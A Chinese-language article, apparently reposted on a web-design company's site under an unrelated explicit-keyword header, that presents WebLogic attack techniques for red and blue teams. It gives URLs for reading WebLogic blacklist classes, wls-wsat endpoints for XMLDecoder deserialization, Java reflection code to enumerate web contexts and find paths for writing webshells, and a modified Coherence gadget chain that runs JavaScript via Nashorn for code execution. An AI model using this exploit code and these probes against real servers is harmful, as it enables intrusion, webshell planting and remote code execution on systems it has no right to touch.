欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

weblogic攻擊手法有哪些

weblogic攻擊手法有哪些,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

創(chuàng)新互聯(lián)是一家專業(yè)提供濱湖企業(yè)網(wǎng)站建設,專注與成都網(wǎng)站制作、做網(wǎng)站、H5網(wǎng)站設計、小程序制作等業(yè)務。10年已為濱湖眾多企業(yè)、政府機構等服務。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進行中。

簡介

weblogic服務器的特點為架構龐大復雜,藍隊一般很難防御,且多部署于外網(wǎng)。而且weblogic的攻擊成本比較低,只要存在漏洞,一般可以直接獲取目標服務器的root權限。在攻防演習中被各大攻擊隊,防守方重點關注。

當然,目前網(wǎng)上公開的各種exp程序,當然也包括我自己的工具,或多或少都有點問題。于是近期在朋友的要求下,整理了部分攻擊方法以及”完美“利用。紅隊可以用來完善自己的工具,藍隊可以用來寫溯源報告。

一、探測weblogic是否存在漏洞

目前網(wǎng)上公開的資料中,沒有一種比較好的方法去判斷weblogic是否存在漏洞。通常各類工具做法是用exp打一遍,如果成功了則自然存在漏洞,如果失敗了則不存在漏洞。再或者,通過DNSlog的方式去探測。這兩種方法受限于各種因素,導致漏報誤報的比例很高。還有可能觸發(fā)蜜罐,waf等等安全設備的規(guī)則。

當然在這里我介紹一種更簡便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名單 。

codebase: 簡單說,codebase就是遠程裝載類的路徑。當對象發(fā)送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什么地方尋找該對象的執(zhí)行代碼。

那我們是不是可以發(fā)散一下思維,如果這個類是weblogic的黑名單類呢??而且weblogic的codebase利用http協(xié)議去傳輸類。

利用方法如下,使用你的瀏覽器,確認好對方是weblogic服務器后,url如下

T3反序列化的黑名單http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

xmldecoder 黑名單http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

1.1 T3 codebase分析

weblogic.rjvm.InternalWebAppListener#contextInitialized處代碼,注冊處理codebase的代碼,也就是請求路徑為classes

if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

下面我們來看一下weblogic.servlet.ClasspathServlet的處理代碼,很簡單,就是讀取類名然后寫入到http響應中。

weblogic攻擊手法有哪些

當然,這里是不是也存在任意文件讀取漏洞呢?答案是的,只不過有一個黑名單,禁止某些后綴的文件被讀取。黑名單列表如下

weblogic攻擊手法有哪些

理論上講,你也可以通過CODEBASE去讀取用戶的類下載到本地做代碼分析。前提是你需要知道用戶的類名是什么。當然,也有黑名單,黑名單如下

weblogic攻擊手法有哪些

二、weblogic xmldecoder反序列化漏洞

漏洞不做過多介紹,在這里不談該漏洞的成因原理以及分析。

漏洞探測的url

/wls-wsat/CoordinatorPortType

RegistrationPortTypeRPC

ParticipantPortType

RegistrationRequesterPortType

CoordinatorPortType11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

該漏洞利用的難點我認為有如下幾個方面

1.網(wǎng)上只有回顯代碼,沒有利用代碼,例如內存馬

2.寫馬的話,可能會遇到路徑的問題。wenlogic的路徑為隨機,目前網(wǎng)上公開的解決辦法是爆破。

3.怎么尋找所有的Context?

下面我們來一一解決,以weblogic 10.x的exp為例

xmldecoder的xml payload做了以下的工作

1.調用weblogic.utils.Hex.fromHexString函數(shù),將hex編碼的class文件轉換為二進制格式

2.調用org.mozilla.classfile.DefiningClassLoader的defineClass方法,將上面的class文件加載到虛擬機中

3.調用newInstance方法生成上面被添加至JVM的類的實例

4.調用實例的方法以完成攻擊

payload其實你知道稍微看一下,就知道xmldecoder的寫法,這里就不再贅述

上面所有的問題,其實都可以歸結為一個問題,那就是怎么尋找weblogic下,所有web應用的上下文?

在這里我公開一個方法,該方法在weblogic 10/12下經(jīng)過測試,且不受協(xié)議影響,也就是說,你只要能在weblogic里執(zhí)行代碼,我就可以獲取weblogic所有的webcontext。 代碼如下

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;

2.1 獲取隨機路徑

利用上面的代碼,獲取到weblogic 加載的所有的web context后,我們可以調用context.getRootTempDir().getAbsolutePath()方法去獲取目錄的位置,然后寫入webshell。

我的代碼如下

List<WebAppServletContext> contexts = findAllContext();
Iterator<WebAppServletContext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());

截圖如下

weblogic攻擊手法有哪些

2.2 weblogic 12.x payload

weblogic 12.x 中,沒有org.mozilla.classfile.DefiningClassLoader這個類,況且我也不太喜歡這種不靈活的方式去寫exp。在這里我換一種方式,那就是通過java調用js。

從 JDK 1.8 開始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成為 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 規(guī)范以及一些擴展。它使用基于 JSR 292 的新語言特性,其中包含在 JDK 7 中引入的 invokedynamic,將 JavaScript 編譯成 Java 字節(jié)碼。

注意,不支持1.5以及1.5以下的JVM

在java執(zhí)行js時,可以調用任意java對象,方法,類。需要注意的是,java是強類型語言,而js是弱類型語言,js有的時候可能會代碼意想不到的類型轉換。這里需要注意

只需要將上面加載context的代碼,改成js就可以,在這里我貼一張截圖

weblogic攻擊手法有哪些

在nashorn中,默認最后一個變量作為調用本次js的返回值

三、weblogic T3反序列化

在這里我推薦一下r4v3zn老哥的weblogic-framework 利用工具, 。當然也有一點點bug,不過這是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探測的話,參考前面的黑名單下載方式

當然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,無法做到類似于CC鏈的任意代碼執(zhí)行,目前同行的大部分做法是上傳一個jar至tmp目錄或者通過urlclassloader去遠程加載jar包,部署惡意代碼。

但是我們依舊可以通過反序列化的鏈式執(zhí)行,調用nashorn的方式,間接做到任意代碼執(zhí)行。

而我們待執(zhí)行的js,通過反射調用javaassist包去組裝一個ClusterMasterRemote類并綁定JNDI實例以作回顯。js代碼如下

weblogic攻擊手法有哪些image-20210329124530132

當然,corherence gadget處需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

看完上述內容,你們掌握weblogic攻擊手法有哪些的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

當前名稱:weblogic攻擊手法有哪些
文章路徑:http://www.chinadenli.net/article34/gsjipe.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設計移動網(wǎng)站建設微信公眾號Google動態(tài)網(wǎng)站品牌網(wǎng)站建設

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

外貿網(wǎng)站建設